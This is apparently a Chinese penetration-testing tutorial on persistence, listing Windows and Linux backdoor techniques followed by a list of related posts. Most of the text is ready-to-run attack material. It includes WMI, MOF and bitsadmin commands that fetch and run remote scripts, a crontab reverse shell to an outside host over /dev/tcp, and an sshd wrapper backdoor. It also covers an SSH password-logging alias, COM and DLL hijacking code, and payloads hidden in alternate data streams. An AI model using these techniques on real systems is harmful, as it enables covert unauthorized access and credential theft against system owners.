渗透测试入门7之权限维持
渗透测试入门7之权限维持
系统后门
Windows
1、密码记录工具
WinlogonHack WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。 键盘记录器 安装键盘记录的目地不光是记录本机密码,是记录管理员一切的密码,比如说信箱,WEB 网页密码等等,这样也可以得到管理员的很多信息。 NTPass 获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令。 Linux 下 openssh 后门 重新编译运行的sshd服务,用于记录用户的登陆密码。
2、常用的存储Payload位置
WMI : 存储:
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put()
读取:
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value
包含数字签名的PE文件 利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名 特殊ADS …
type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe
特殊COM文件
type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe
磁盘根目录
type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe
3、Run/RunOnce Keys
用户级
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
管理员
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
4、BootExecute Key
由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为:
HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
5、Userinit Key
WinLogon进程加载的login scripts,具体键值:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
6、Startup Keys
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
7、Services
创建服务
sc create [ServerName] binPath= BinaryPathName
8、Browser Helper Objects
本质上是Internet Explorer启动时加载的DLL模块
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
9、AppInit_DLLs
加载User32.dll会加载的DLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
10、文件关联
HKEY_LOCAL_MACHINE\Software\Classes
HKEY_CLASSES_ROOT
11、bitsadmin
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
12、mof
pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://host.com/test\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
管理员执行:
mofcomp test.mof
13、wmi
每隔60秒执行一次notepad.exe
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
14、Userland Persistence With Scheduled Tasks
劫持计划任务UserTask,在系统启动时加载dll
function Invoke-ScheduledTaskComHandlerUserTask
{
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Command,
[Switch]
$Force
)
$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $ScheduledTaskCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}
if (Test-Path $ScheduledTaskCommandPath) {
Write-Verbose "Created registry entries to hijack the UserTask"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
}
}
Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose
15、Netsh
netsh add helper c:\test\netshtest.dll
后门触发:每次调用netsh
dll编写:https://github.com/outflanknl/NetshHelperBeacon
16、Shim
常用方式: InjectDll RedirectShortcut RedirectEXE
17、DLL劫持
通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程 使用:Procmon半自动测试更精准,常规生成的dll会导致程序执行报错或中断,使用AheadLib配合生成dll劫持利用源码不会影响程序执行 工具:https://github.com/sensepost/rattler 工具:https://github.com/Yonsm/AheadLib
18、DoubleAgent
编写自定义Verifier provider DLL 通过Application Verifier进行安装 注入到目标进程执行payload 每当目标进程启动,均会执行payload,相当于一个自启动的方式 POC : https://github.com/Cybellum/DoubleAgent
19、waitfor.exe
不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe POC : https://github.com/3gstudent/Waitfor-Persistence
20、AppDomainManager
针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制
21、Office
劫持Office软件的特定功能:通过dll劫持,在Office软件执行特定功能时触发后门 利用VSTO实现的office后门 Office加载项
- Word WLL
- Excel XLL
- Excel VBA add-ins
- PowerPoint VBA add-ins
参考1 :https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/ 参考2 :https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/
22、CLR
无需管理员权限的后门,并能够劫持所有.Net程序 POC:https://github.com/3gstudent/CLR-Injection
23、msdtc
利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测 利用:向 %windir%\system32\目录添加dll并重命名为oci.dll
24、Hijack CAccPropServicesClass and MMDeviceEnumerato
利用COM组件,不需要重启系统,不需要管理员权限 通过修改注册表实现 POC:https://github.com/3gstudent/COM-Object-hijacking
25、Hijack explorer.exe
COM组件劫持,不需要重启系统,不需要管理员权限 通过修改注册表实现
HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}
26、Windows FAX DLL Injection
通过DLL劫持,劫持Explorer.exe对fxsst.dll的加载 Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll(服务默认开启,用于传真服务)将payload.dll保存在c:\Windows\fxsst.dll,能够实现dll劫持,劫持Explorer.exe对fxsst.dll的加载
27、特殊注册表键值
在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)。 《渗透技巧——"隐藏"注册表的创建》 《渗透技巧——"隐藏"注册表的更多测试》
28、快捷方式后门
替换我的电脑快捷方式启动参数 POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1
29、Logon Scripts
New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null
30、Password Filter DLL
31、利用BHO实现IE浏览器劫持
Linux
crontab
每60分钟反弹一次shell给dns.wuyun.org的53端口
#!bash
(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/dns.wuyun.org/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
硬链接sshd
#!bash
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=2333;
链接:ssh root@192.168.206.142 -p 2333
SSH Server wrapper
#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
//不用重启也行
/etc/init.d/sshd restart
socat STDIO TCP4:192.168.206.142:22,sourceport=13377
SSH keylogger
vim当前用户下的.bashrc文件,末尾添加
#!bash
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
source .bashrc
Cymothoa_进程注入backdoor
./cymothoa -p 2270 -s 1 -y 7777
nc -vv ip 7777
rootkit
openssh_rootkit Kbeast_rootkit Mafix + Suterusu rootkit
Tools
Vegile backdoor
WEB后门
PHP Meterpreter后门 Aspx Meterpreter后门 weevely webacoo
....
渗透测试入门7之权限维持相关推荐
- 渗透测试入门6之权限提升
渗透测试入门6之权限提升 Windows BypassUAC 常用方法 使用IFileOperation COM接口 使用Wusa.exe的extract选项 远程注入SHELLCODE 到傀儡进程 ...
- 渗透测试入门24之渗透测试参考书、课程、工具、认证
白帽子渗透测试入门资源:参考书.课程.工具.认证文章目录 前言 名词解析 Pwk课程与OSCP证书 CTF 工具 参考书 相关文献推荐 资源打包前言 初入渗透测试领域,过程中遇到不少错综复杂的知识,也 ...
- 渗透测试入门9之域渗透
渗透测试入门9之域渗透 信息搜集 powerview.ps1 Get-NetDomain - gets the name of the current user's domain Get-NetFor ...
- 渗透测试入门5之内网信息搜集
渗透测试入门5之内网信息搜集 本机信息搜集 1.用户列表 windows用户列表 分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户 2.进程列表 分析杀毒软件/安全监控工具等 邮件客户端 VP ...
- 白帽子渗透测试入门资源:参考书、课程、工具、认证
完整原文(实时更新):https://exp-blog.com (转载请注明出处,仅供分享学习,严禁用于商业用途) 前言 初入渗透测试领域,过程中遇到不少错综复杂的知识,也遇到不少坑,特此记录,慢慢整 ...
- Android渗透测试Android渗透测试入门教程大学霸
Android渗透测试Android渗透测试入门教程大学霸 第1章 Android渗透测试 Android是一种基于Linux的自由及开放源代码的操作系统,主要用于移动设备,如智能手机.平板等.目前 ...
- 渗透测试入门1之信息收集
渗透测试入门1之信息收集 开源情报信息收集(OSINT) github whois查询/注册人反查/邮箱反查/相关资产 google hacking 创建企业密码字典 子域名获取 字典列表 邮箱列表获 ...
- 渗透测试入门3之隐匿攻击
渗透测试入门3之隐匿攻击 1. Command and Control ICMP :https://pentestlab.blog/2017/07/28/command-and-control-icm ...
- 渗透测试入门8之端口渗透
渗透测试入门8之端口渗透 端口扫描 1.端口的指纹信息(版本信息) 2.端口所对应运行的服务 3.常见的默认端口号 4.尝试弱口令 端口爆破 hydra 端口弱口令 NTScan Hscan 自写脚本 ...
最新文章
- ML之RS之CF:基于用户的CF算法—利用大量用户的电影及其评分数据集对一个新用户Jason进行推荐电影+(已知Jason曾观看几十部电影及其评分)
- 飞鸽传书2011帮助文档
- SSLScan工具 获取SSL信息
- 2008 Round1AA Minimum Scalar Product
- 奥巴马:乔布斯改变我们每个人看世界的方式
- Find 7轻装版和正式版存储内存方面区别
- html 中用canvas加载图片,【实例】使用canvas缓缓加载一个图片到web页面中
- html常用的符号实体
- Swift之UITextField+富文本+代理传值
- Eclipse 中最常用的快捷键大全
- 【递归算法】递归算法的快速入门
- 程序员面试金典--疯狂刷
- 学习+彭伟《揭秘深度强化学习》PDF+源代码+资料
- python怎么打希腊字母_Python--画图时希腊字母的显示
- 是谁扼杀了你的梦想?
- Aura Components Basics on Trailhead —— Input Data Using Forms
- hr2000 光谱Matlab,HR2000+高分辨率光谱仪
- 如何度过8天长假?小灰推荐几部经典电影给大家!
- 阿里云服务器ECS通用型g5和ECS通用型g6实例区别在哪?如何选择?
- c++:十进制转化为二进制
热门文章
- 计算机网络教程三次握手,计算机网络(二) TCP协议的三次握手
- unc 隐藏共享文件夹_(原创)UNC路径的访问条件
- java(线程池的创建方式,和线程池的原理)
- 第一小节 初识面向对象
- 首次打开(更新版本)APP向导界面
- .Net 高效开发之不可错过的实用工具(转载)
- SPOJ-COT-Count on a tree(树上路径第K小,可持久化线段树)
- 从图片搜索到人脸识别,CV正在成为“互动营销”领域的【硬核技术】
- MOTChallenge榜单第一!用于多目标跟踪简单高效的数据关联方法 BYTE
- CVPR 2020 Oral|效果超群的老照片“复活”算法